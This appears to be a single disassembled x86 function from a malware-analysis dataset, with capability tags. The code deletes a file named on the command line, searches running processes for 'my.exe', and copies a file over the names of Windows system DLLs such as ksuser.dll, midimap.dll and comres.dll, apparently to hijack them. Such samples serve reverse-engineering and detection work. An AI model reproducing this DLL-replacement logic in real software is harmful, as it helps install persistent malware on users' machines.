Function at 0x1000569f
Capabilities:
Accept command line arguments
Check if file exists
Copy file
Delete file
Enumerate processes
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x444
push ebx
push esi
push edi
mov esi, str.ServerMain
lea edi, [ebp - 0x10]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea ecx, [ebp - 0x10]
push ecx
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
mov edi, eax
xor esi, esi
pop ecx
cmp edi, esi
pop ecx
je 0x100056ec
add edi, 0xc
push esi
push edi
call dword [sym.imp.MSVCRT.dll__access]
pop ecx
cmp eax, 0xffffffff
pop ecx
je 0x100056ec
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x100056d4
mov ebx, 0x128
push ebx
lea eax, [ebp - 0x340]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push esi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp eax, esi
mov dword [ebp - 4], eax
jne 0x1000571e
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100056f1
lea ecx, [ebp - 0x340]
mov dword [ebp - 0x340], ebx
push ecx
push eax
call sub.KERNEL32.dll_Process32First
mov edi, eax
cmp edi, esi
je 0x100057c4
lea eax, [ebp - 0x31c]
push eax
push str.my.exe
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x100057b0
push dword [ebp - 0x338]
push esi
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edx, eax
cmp edx, esi
je 0x10005733
and byte [ebp - 0x218], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x217]
and byte [ebp - 0x444], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x443]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x444]
push 0x104
push eax
push esi
push edx
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
jne 0x100057d7
lea eax, [ebp - 0x340]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Process32Next
jmp 0x10005731
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3a98
jmp 0x10005716
and byte [ebp - 0x114], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
push esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x444]
push eax
call fcn.100048a1
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x218]
push str.ksuser.dll
push eax
lea eax, [ebp - 0x114]
push 0x10008a08
push eax
call ebx
add esp, 0x1c
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x100058d3
push str.my.exe
call fcn.100049a9
lea eax, [ebp - 0x114]
push eax
call fcn.100048f6
pop ecx
lea eax, [ebp - 0x114]
pop ecx
mov edi, 0x10092fcc
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
push eax
push edi
call esi
lea eax, [ebp - 0x218]
push str.midimap.dll
push eax
lea eax, [ebp - 0x114]
push 0x10008a08
push eax
call ebx
lea eax, [ebp - 0x114]
push eax
call fcn.100048f6
add esp, 0x14
lea eax, [ebp - 0x114]
push 0
push eax
push edi
call esi
lea eax, [ebp - 0x218]
push str.comres.dll
push eax
lea eax, [ebp - 0x114]
push 0x10008a08
push eax
call ebx
lea eax, [ebp - 0x114]
push eax
call fcn.100048f6
add esp, 0x14
lea eax, [ebp - 0x114]
push 0
push eax
push edi
call esi
pop edi
pop esi
pop ebx
leave
ret